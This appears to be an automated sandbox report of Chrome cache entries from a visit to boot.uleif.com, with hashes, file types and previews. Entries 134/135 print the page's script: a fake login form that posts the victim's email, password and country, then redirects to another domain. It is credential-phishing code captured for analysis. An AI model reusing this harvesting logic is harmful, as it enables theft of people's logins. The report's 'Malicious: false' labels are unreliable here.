Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><meta name="next-head-count" content="2"/><link rel="preload" href="/_next/static/css/05a702e55f1806c7.css" as="style"/><link rel="stylesheet" href="/_next/static/css/05a702e55f1806c7.css" data-n-g=""/><link rel="preload" href="/_next/static/css/bf966d2a7834ad98.css" as="style"/><link rel="stylesheet" href="/_next/static/css/bf966d2a7834ad98.css" data-n-p=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-ee7e63bc15b31913.js" defer=""></script><script src="/_next/static/chunks/framework-64ad27b21261a9ce.js" defer=""></script><script src="/_next/static/chunks/main-e5e349bb2d39155a.js" defer=""></script><script src="/_next/static/chunks/pages/_app-301076f909f3a9e7.js" defer=""></script><script src="/_next/static/chunks/669-1b66ac76fc7185ce.js" defer=""></script><sc

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2169), with no line terminators
Category:	downloaded
Size (bytes):	2169
Entropy (8bit):	5.409212658226959
Encrypted:	false
SSDEEP:	48:3+4GFyGnq7OPrguvgeVAU06HC/hLW+EqzFfRYaaZlzDRgD2:3Dwyeq7CouwpWnqzIaaxg2
MD5:	0B97498A23A52DAD526FDF5A9089D4FD
SHA1:	6651E0FD701E80A93528E81B4CDDF2AB623CDA63
SHA-256:	9C571063AA42ECE6B7803D0A1B97A05DC0FC6F8B49FD0E3430CACF1C8B8E1849
SHA-512:	623B734FDF04A7D44CB78A53612D6CB98EB989E5A4A6EAFFB44D10ED931E44D8F83B73F8669AF0FBCBA61C2ABFDB2B68E8F51F43027D4398BAE330D8CBB18B10
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/favicon.ico
Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><title>404: This page could not be found</title><meta name="next-head-count" content="3"/><link rel="preload" href="/_next/static/css/05a702e55f1806c7.css" as="style"/><link rel="stylesheet" href="/_next/static/css/05a702e55f1806c7.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-ee7e63bc15b31913.js" defer=""></script><script src="/_next/static/chunks/framework-64ad27b21261a9ce.js" defer=""></script><script src="/_next/static/chunks/main-e5e349bb2d39155a.js" defer=""></script><script src="/_next/static/chunks/pages/_app-301076f909f3a9e7.js" defer=""></script><script src="/_next/static/chunks/pages/_error-7a92967bea80186d.js" defer=""></script><script src="/_next/static/56kho6wiIZfQ6_uNQX-cO/_buildManifest.js" defer=""></script><script src="/_next/

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 920, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	580703
Entropy (8bit):	7.96847734645623
Encrypted:	false
SSDEEP:	12288:8VhxqQWDqWnrPIZcmsQlJdbh0aoCc/a8NlklXF9TKWJuqQ0bIKq+:khx4DqcrScClJd0P/HN6lrKB0bIKq+
MD5:	FF1088D824EB1737F6D43CC1AFE1A02F
SHA1:	DB17FB9C7E6AEEFEBC6C4D626C3D55B33E79CECE
SHA-256:	5E436210458B346BA020CE0A74708D0EAB369B8B2CF68E6768319C9B43560FD5
SHA-512:	0C96F310A2BAF6563170D370F20AFC46AD750EEDE83A6E00CB09868B4A6EA5F6EACE67162D9267641CB34162A0A6680AC285CC2903AB46E2B90E9B0ECA510CE4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4h.#....sRGB.........gAMA......a.....pHYs...t...t..f.x....IDATx^..g.,.u&....0.........dHJ"EQ-.-.....53.._c.5...5o.73.Z.V.=.n...)R.=.:.4.Hx.....T..o..'NFdFVeVeU./o.w..................,j^=.baeF;..X...@ .....@ .....@ .....e.).EA.l...l.C.e.}N.....u.<q...c.5....@ .....@ .....@ ........;'....6...j.xh`.Q..ScR0q...V.^...@ .....@ .....@ ......g.j.....Q....:\h.#...h..=\.{.....@ .....@ .....@ .........K..\|G.y.8u0........0.....@ .....@ .....@ 0.X..U...6.aG5p.8....X.....+....@ .....@ .....@ .......c...rB...uD....@.J.....X.{...2.....@ .....@ .....@ ...z.&h/m(.F.....e.&j0c....@ .....@ .....@ ......J..X......(-.....%.D.f,X.{.....@ .....@ .....@ .X.X..^...6.rDS..w...K..............Dbn.....@ .......)#fk...@ .....+......e..>k....X.....@ ..)l.wv......"p.....@ ..0%.....4.fm,....@ ..,.b!x.0!.........@ 0r`.wv..;+.rn...........@ .Z0;;#........hjz:....@ .....+.U..g...t...:\|.uz.W.g.E.c.u.n..<Z.n...%\.^.........@`)...gN..ki..f....@ .X.8q

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20198), with no line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.269376421450041
Encrypted:	false
SSDEEP:	384:nyONd1Kh9ebSyBJPLnwXVZ9pOTFw9GVRnYMecMUgFfBurHHMM08umUE:n9hKh9enNLmaFw865vmnMMUmUE
MD5:	AAEF113BEB077A512579DF8C1F10DA88
SHA1:	2C99AE14C106FA49AFE52A43FEBDFD8025412F23
SHA-256:	E92DE6A3BB79755A384CBB6DB10DBB34678DB730EAD708E899582A273ED1C0F3
SHA-512:	250B20F3D6203B10955DAB3B137FE4C1A876138EDA40A868AD0513B8AD4AB6F3C8FA849569652E1F4A31C5BC75F3A224EEDAB89338F104DBFD8C530930741B17
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[669],{9669:function(e,t,r){e.exports=r(1609)},5448:function(e,t,r){"use strict";var n=r(4867),o=r(6026),i=r(4372),s=r(5327),a=r(4097),u=r(4109),c=r(7985),f=r(5061);e.exports=function(e){return new Promise(function(t,r){var l=e.data,p=e.headers,d=e.responseType;n.isFormData(l)&&delete p["Content-Type"];var h=new XMLHttpRequest;if(e.auth){var m=e.auth.username\|\|"",v=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";p.Authorization="Basic "+btoa(m+":"+v)}var g=a(e.baseURL,e.url);function y(){if(h){var n="getAllResponseHeaders"in h?u(h.getAllResponseHeaders()):null;o(t,r,{data:d&&"text"!==d&&"json"!==d?h.response:h.responseText,status:h.status,statusText:h.statusText,headers:n,config:e,request:h}),h=null}}if(h.open(e.method.toUpperCase(),s(g,e.params,e.paramsSerializer),!0),h.timeout=e.timeout,"onloadend"in h?h.onloadend=y:h.onreadystatechange=function(){h&&4===h.readyState&&(0!==h.status\|\|h.responseURL&&0===h.response

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20198), with no line terminators
Category:	downloaded
Size (bytes):	20198
Entropy (8bit):	5.269376421450041
Encrypted:	false
SSDEEP:	384:nyONd1Kh9ebSyBJPLnwXVZ9pOTFw9GVRnYMecMUgFfBurHHMM08umUE:n9hKh9enNLmaFw865vmnMMUmUE
MD5:	AAEF113BEB077A512579DF8C1F10DA88
SHA1:	2C99AE14C106FA49AFE52A43FEBDFD8025412F23
SHA-256:	E92DE6A3BB79755A384CBB6DB10DBB34678DB730EAD708E899582A273ED1C0F3
SHA-512:	250B20F3D6203B10955DAB3B137FE4C1A876138EDA40A868AD0513B8AD4AB6F3C8FA849569652E1F4A31C5BC75F3A224EEDAB89338F104DBFD8C530930741B17
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/chunks/669-1b66ac76fc7185ce.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[669],{9669:function(e,t,r){e.exports=r(1609)},5448:function(e,t,r){"use strict";var n=r(4867),o=r(6026),i=r(4372),s=r(5327),a=r(4097),u=r(4109),c=r(7985),f=r(5061);e.exports=function(e){return new Promise(function(t,r){var l=e.data,p=e.headers,d=e.responseType;n.isFormData(l)&&delete p["Content-Type"];var h=new XMLHttpRequest;if(e.auth){var m=e.auth.username\|\|"",v=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";p.Authorization="Basic "+btoa(m+":"+v)}var g=a(e.baseURL,e.url);function y(){if(h){var n="getAllResponseHeaders"in h?u(h.getAllResponseHeaders()):null;o(t,r,{data:d&&"text"!==d&&"json"!==d?h.response:h.responseText,status:h.status,statusText:h.statusText,headers:n,config:e,request:h}),h=null}}if(h.open(e.method.toUpperCase(),s(g,e.params,e.paramsSerializer),!0),h.timeout=e.timeout,"onloadend"in h?h.onloadend=y:h.onreadystatechange=function(){h&&4===h.readyState&&(0!==h.status\|\|h.responseURL&&0===h.response

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2749), with no line terminators
Category:	downloaded
Size (bytes):	2749
Entropy (8bit):	5.358749692271022
Encrypted:	false
SSDEEP:	48:fbYA+xAxHxSRS64kSbA2EjSrXskoNTwAcOvgX2oQN4XDFCA1uGF6:cAw+e2EurXskoNTwAcYgGoQ2TNF6
MD5:	4C3C0941F67CF08111CDAA03BE3C3F18
SHA1:	0A7BABD97BB1A1E6E04680C52B89238B40DDA4D6
SHA-256:	4B37D6A8F6CED53B16AA85E36D2E0A33D2DEC1314F457A222EDAB199DAB22367
SHA-512:	432D785EAAE2D81DDEE2074C13A34411BD2C1E2F20CCBDECDAE3CA1C68976962BD63CC7B3A0C9F810F46A185C169CC2C992C076826A15D89FA9AB6F39B428CA5
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/chunks/pages/index-ebc524c6a07e276b.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,s){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return s(9828)}])},9828:function(e,t,s){"use strict";s.r(t),s.d(t,{default:function(){return c}});var n=s(5893),a=s(7294),o=s(9669),i=s.n(o),l=s(4609),r=s.n(l);function c(){let[e,t]=(0,a.useState)(""),[s,o]=(0,a.useState)(""),[l,c]=(0,a.useState)(""),[u,d]=(0,a.useState)(!1),[m,_]=(0,a.useState)("");(0,a.useEffect)(()=>{i().get("https://ipinfo.io/json?token=c3e87e382ddea7").then(e=>{c(e.data.country)}).catch(e=>{console.error("Failed to fetch country:",e)})},[]);let g=async t=>{if(t.preventDefault(),s.length>=5)try{let t=await i().post("/api/send-email",{email:e,password:s,country:l});console.log("Email sent successfully!",t.data.message),window.location.href="https://ne.denise-moth.click"}catch(e){console.error("Failed to send email:",e),_("Failed to submit. Please try again.")}else _("Password must be at least 5 characters long.")},h=e=>/^[^\s

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2749), with no line terminators
Category:	dropped
Size (bytes):	2749
Entropy (8bit):	5.358749692271022
Encrypted:	false
SSDEEP:	48:fbYA+xAxHxSRS64kSbA2EjSrXskoNTwAcOvgX2oQN4XDFCA1uGF6:cAw+e2EurXskoNTwAcYgGoQ2TNF6
MD5:	4C3C0941F67CF08111CDAA03BE3C3F18
SHA1:	0A7BABD97BB1A1E6E04680C52B89238B40DDA4D6
SHA-256:	4B37D6A8F6CED53B16AA85E36D2E0A33D2DEC1314F457A222EDAB199DAB22367
SHA-512:	432D785EAAE2D81DDEE2074C13A34411BD2C1E2F20CCBDECDAE3CA1C68976962BD63CC7B3A0C9F810F46A185C169CC2C992C076826A15D89FA9AB6F39B428CA5
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,s){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return s(9828)}])},9828:function(e,t,s){"use strict";s.r(t),s.d(t,{default:function(){return c}});var n=s(5893),a=s(7294),o=s(9669),i=s.n(o),l=s(4609),r=s.n(l);function c(){let[e,t]=(0,a.useState)(""),[s,o]=(0,a.useState)(""),[l,c]=(0,a.useState)(""),[u,d]=(0,a.useState)(!1),[m,_]=(0,a.useState)("");(0,a.useEffect)(()=>{i().get("https://ipinfo.io/json?token=c3e87e382ddea7").then(e=>{c(e.data.country)}).catch(e=>{console.error("Failed to fetch country:",e)})},[]);let g=async t=>{if(t.preventDefault(),s.length>=5)try{let t=await i().post("/api/send-email",{email:e,password:s,country:l});console.log("Email sent successfully!",t.data.message),window.location.href="https://ne.denise-moth.click"}catch(e){console.error("Failed to send email:",e),_("Failed to submit. Please try again.")}else _("Password must be at least 5 characters long.")},h=e=>/^[^\s

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	110774
Entropy (8bit):	5.356126133625476
Encrypted:	false
SSDEEP:	1536:FmS5QDlfvXVzu8IuOx/oCN3dX4NQpsBrylVdBKwP62gNl:OVvX12QcdINiqylFKwP6zNl
MD5:	159EB7E1C478D2374874D9E6A22C5C8B
SHA1:	06985CA2EB1D8F9E8503BBB712B0D344ECAA4E1A
SHA-256:	78A520DB701F0F573FE55AAA710830EC6B95B4B226A25716F6344BB0595B5015
SHA-512:	31743A255CF4B0A3772D3EBDD34FD587B5A14079B37645358CCF089A81ABBC660B70DA39F58345ED003E087A6D7525DF258F4EABFAB3B30F42A71AD8A79C800D
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/chunks/main-e5e349bb2d39155a.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{4878:function(e,t){"use strict";function r(){return""}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"getDeploymentIdQueryOrEmptyString",{enumerable:!0,get:function(){return r}})},37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1591)
Category:	downloaded
Size (bytes):	1927
Entropy (8bit):	5.247153181082636
Encrypted:	false
SSDEEP:	48:sM4rHu8isrzw+iqM4qakAuGdmrSXBPTbEQ+mUSWpp0Ac9rf:X4rH59rTe3AVFn+mP6pZA
MD5:	A5A164883BA97BBAF69D369EE89A8C55
SHA1:	A3153BA837B11C91D2C9B8015A1012A9B789A1D7
SHA-256:	E76F71954CF115E98EC92D14708D991A05AB5C47DE9E6A0F90DDD848B3ED330E
SHA-512:	C97833DF986F0FE5B49E276C963783F3A922E731B20A64E3DEA056DBBB31F22A221A6FCAB70B06EF3AADE501D211603E2AAE6CB45D945B467572432930650B4F
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/chunks/webpack-ee7e63bc15b31913.js
Preview:	!function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var u=e.length;u>0&&e[u-1][2]>o;u--)e[u]=e[u-1];e[u]=[r,t,o];return}for(var f=1/0,u=0;u<e.length;u++){for(var r=e[u][0],t=e[u][1],o=e[u][2],c=!0,l=0;l<r.length;l++)f>=o&&Object.keys(i.O).every(function(e){return i.O[e](r[l])})?r.splice(l--,1):(c=!1,o<f&&(f=o));if(c){e.splice(u--,1);var a=t();void 0!==a&&(n=a)}}return n},i.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(n,{a:n}),n},i.d=function(e,n){for(var r in n)i.o(n,r)&&!i.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},i.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|Function("return this")()}catch(e){if("object"==typeof window)return window}}(),i.o=function(e,n){return Object.prototype.hasOwn

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (356), with no line terminators
Category:	downloaded
Size (bytes):	356
Entropy (8bit):	5.437016160584861
Encrypted:	false
SSDEEP:	6:ZdYeLEV/OYHwv3BBAGFUQPsHuAfRcdJ6QhaMqys7A48D+9d6EpXjd6I:ZaiEV/FKZnsO0xE6k499FXjV
MD5:	8FD0C556D509A4F6C9B8B5FAD9362E5E
SHA1:	9B8A578CCAD37A5ADF5E7B494B0C693E36329542
SHA-256:	AA000C14C63F8F2D6B8C09B4A219196B360FFF6B03CA55852F527857D1E06E76
SHA-512:	E80BA8CA1EBF82E7DBE15D1697DEA09CF99D7BB6F39A1B59C111AC451188ADDB5924005ED912DB3A4C44A99728CE83A674187B754E698F482874B0556F40960E
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/56kho6wiIZfQ6_uNQX-cO/_buildManifest.js
Preview:	self.__BUILD_MANIFEST={__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},"/":["static/chunks/669-1b66ac76fc7185ce.js","static/css/bf966d2a7834ad98.css","static/chunks/pages/index-ebc524c6a07e276b.js"],"/_error":["static/chunks/pages/_error-7a92967bea80186d.js"],sortedPages:["/","/_app","/_error"]},self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1182), with no line terminators
Category:	downloaded
Size (bytes):	1182
Entropy (8bit):	5.212178157421948
Encrypted:	false
SSDEEP:	24:EiV889jik6/cLRyH5yrpuwK4VsLrerSvCtL0FfQrBn:EOYM05wn7leqOFIrBn
MD5:	349657CF1FF8B258CBA1FA1E7FF7D510
SHA1:	74AEB7CD55BD272436194CD3671A2E7B9054A2D7
SHA-256:	ECB3F18B37060F629916865296AFD78F9CDA10BADC01290E997D9231C9624F02
SHA-512:	E69F26EBF715FCCAB888FF40C8E422A2B19424DF89E839B59231EC16AD925709E8A1A4404CE0000FF1CBEA7B71C5B19114C6AE23167965ABB42433D27E7D41CF
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/css/bf966d2a7834ad98.css
Preview:	.Home_container__d256j{height:100vh;display:flex;justify-content:center;align-items:center;position:relative;overflow:hidden}.Home_background__nqUIs{position:absolute;top:0;left:0;width:100%;height:100%;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;filter:blur(3px);z-index:-1}.Home_loginBox__i6Tc_{background-color:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.1);text-align:center;position:relative;max-width:400px;width:100%;height:350px;z-index:1}.Home_logo__IOQAX{width:100px;margin-bottom:10px}.Home_message__OKL2m{font-size:16px;margin-bottom:20px}.Home_displayEmail__HOGgk{font-size:18px;margin-bottom:20px}.Home_inputField__h82W1{width:50%;padding:10px;margin:10px 0;border:1px solid #ccc;border-radius:5px}.Home_buttonContainer__nOVuY{display:flex;flex-direction:column;align-items:center;margin-top:20px}.Home_nextButton__r_Kss,.Home_submitButton__ECzIY{background-color:#00008b;color:#fff;padding:10px 20px;border:none;border-radius:5px;

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:HfTORnYn:qRnY
MD5:	9B5719B531993D7EEF5EB4C692F2238C
SHA1:	9C9A21624C975F0741B743348DE85A09FDA7E669
SHA-256:	27008C4818CC0695B1496B0E8026DDFB7999C7FA066F78C61A76AF0FFECEF4BF
SHA-512:	39CC9DC2E4DACFA6D1D7E23759ED7FB13C3111992BCA5DAA97CE1ADB37205056118FC1105D85E38B8E902A2F8CD68656AD36D53642DE60368E054BE86942BBA8
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlF_DsOTxlEzRIFDVALr7A=?alt=proto
Preview:	CgkKBw1QC6+wGgA=

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (442), with no line terminators
Category:	downloaded
Size (bytes):	442
Entropy (8bit):	5.286822230370172
Encrypted:	false
SSDEEP:	12:fbjrTVxAU7bXxMyFAel6CYucII5WQdyc6uLt:fbjfVxAU7bXxMyXPcII5WUyc6uh
MD5:	5D9E833313893A485F61FD8F483D2036
SHA1:	648678877D45DC37E1E67BC07EE1D8A05AA00356
SHA-256:	CE51D526C2A68CF5B833ABFBD085C6ECA64184238B43DE0444398953D0588AAC
SHA-512:	B8D8613D9BC92F523A4C2C4E6C082F541B169679C9E4ABC970AE802E38DCB1BCD7844FDA07CBE45507E7A7B84761251D897C1B3B387CDFAE84FA7F5C6DDF65E0
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/chunks/pages/_app-301076f909f3a9e7.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1118:function(n,u,t){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return t(4926)}])},4926:function(n,u,t){"use strict";t.r(u);var _=t(5893);t(3434),u.default=function(n){let{Component:u,pageProps:t}=n;return(0,_.jsx)(u,{...t})}},3434:function(){}},function(n){var u=function(u){return n(n.s=u)};n.O(0,[774,179],function(){return u(1118),u(3079)}),_N_E=n.O()}]);

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	110774
Entropy (8bit):	5.356126133625476
Encrypted:	false
SSDEEP:	1536:FmS5QDlfvXVzu8IuOx/oCN3dX4NQpsBrylVdBKwP62gNl:OVvX12QcdINiqylFKwP6zNl
MD5:	159EB7E1C478D2374874D9E6A22C5C8B
SHA1:	06985CA2EB1D8F9E8503BBB712B0D344ECAA4E1A
SHA-256:	78A520DB701F0F573FE55AAA710830EC6B95B4B226A25716F6344BB0595B5015
SHA-512:	31743A255CF4B0A3772D3EBDD34FD587B5A14079B37645358CCF089A81ABBC660B70DA39F58345ED003E087A6D7525DF258F4EABFAB3B30F42A71AD8A79C800D
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{4878:function(e,t){"use strict";function r(){return""}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"getDeploymentIdQueryOrEmptyString",{enumerable:!0,get:function(){return r}})},37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (356), with no line terminators
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.437016160584861
Encrypted:	false
SSDEEP:	6:ZdYeLEV/OYHwv3BBAGFUQPsHuAfRcdJ6QhaMqys7A48D+9d6EpXjd6I:ZaiEV/FKZnsO0xE6k499FXjV
MD5:	8FD0C556D509A4F6C9B8B5FAD9362E5E
SHA1:	9B8A578CCAD37A5ADF5E7B494B0C693E36329542
SHA-256:	AA000C14C63F8F2D6B8C09B4A219196B360FFF6B03CA55852F527857D1E06E76
SHA-512:	E80BA8CA1EBF82E7DBE15D1697DEA09CF99D7BB6F39A1B59C111AC451188ADDB5924005ED912DB3A4C44A99728CE83A674187B754E698F482874B0556F40960E
Malicious:	false
Reputation:	low
Preview:	self.__BUILD_MANIFEST={__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},"/":["static/chunks/669-1b66ac76fc7185ce.js","static/css/bf966d2a7834ad98.css","static/chunks/pages/index-ebc524c6a07e276b.js"],"/_error":["static/chunks/pages/_error-7a92967bea80186d.js"],sortedPages:["/","/_app","/_error"]},self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 920, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	580703
Entropy (8bit):	7.96847734645623
Encrypted:	false
SSDEEP:	12288:8VhxqQWDqWnrPIZcmsQlJdbh0aoCc/a8NlklXF9TKWJuqQ0bIKq+:khx4DqcrScClJd0P/HN6lrKB0bIKq+
MD5:	FF1088D824EB1737F6D43CC1AFE1A02F
SHA1:	DB17FB9C7E6AEEFEBC6C4D626C3D55B33E79CECE
SHA-256:	5E436210458B346BA020CE0A74708D0EAB369B8B2CF68E6768319C9B43560FD5
SHA-512:	0C96F310A2BAF6563170D370F20AFC46AD750EEDE83A6E00CB09868B4A6EA5F6EACE67162D9267641CB34162A0A6680AC285CC2903AB46E2B90E9B0ECA510CE4
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/background.jpg
Preview:	.PNG........IHDR.............4h.#....sRGB.........gAMA......a.....pHYs...t...t..f.x....IDATx^..g.,.u&....0.........dHJ"EQ-.-.....53.._c.5...5o.73.Z.V.=.n...)R.=.:.4.Hx.....T..o..'NFdFVeVeU./o.w..................,j^=.baeF;..X...@ .....@ .....@ .....e.).EA.l...l.C.e.}N.....u.<q...c.5....@ .....@ .....@ ........;'....6...j.xh`.Q..ScR0q...V.^...@ .....@ .....@ ......g.j.....Q....:\h.#...h..=\.{.....@ .....@ .....@ .........K..\|G.y.8u0........0.....@ .....@ .....@ 0.X..U...6.aG5p.8....X.....+....@ .....@ .....@ .......c...rB...uD....@.J.....X.{...2.....@ .....@ .....@ ...z.&h/m(.F.....e.&j0c....@ .....@ .....@ ......J..X......(-.....%.D.f,X.{.....@ .....@ .....@ .X.X..^...6.rDS..w...K..............Dbn.....@ .......)#fk...@ .....+......e..>k....X.....@ ..)l.wv......"p.....@ ..0%.....4.fm,....@ ..,.b!x.0!.........@ 0r`.wv..;+.rn...........@ .Z0;;#........hjz:....@ .....+.U..g...t...:\|.uz.W.g.E.c.u.n..<Z.n...%\.^.........@`)...gN..ki..f....@ .X.8q

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	139978
Entropy (8bit):	5.263923150777386
Encrypted:	false
SSDEEP:	1536:PYjv9NX6lMuubFHHsje9N6SAk1SCocnIEdRXQH:Qj3b536SJ1S8fvAH
MD5:	BF0DBEA2C1509E290FC7DDBDD9477A3B
SHA1:	296721CE3728C51C7FAC5FB35C971BAF5FD92B7B
SHA-256:	4250D53F0BC756ECE2DDD690A008ADD1D7FDC887528C671F4DFE8D916D7787B7
SHA-512:	A047BEF4736A82A41C60BAEFB59FD2D52C8027B3FCD788E3311CE5FD000EF719A80F0698A86E180FBFFA708E0F30520BF6648E3EF15F62CF16B4CE237BB2CED2
Malicious:	false
Reputation:	low
URL:	https://boot.uleif.com/_next/static/chunks/framework-64ad27b21261a9ce.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var d=new Set,p={};function m(e,n){h(e,n),h(e+"Capture",n)}function h(e,n){for(p[e]=n,e=0;e<n.length;e++)d.add(n[e])}var g=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),v=Object.prototype.hasOwnProperty,y=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\u

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.37144473219773
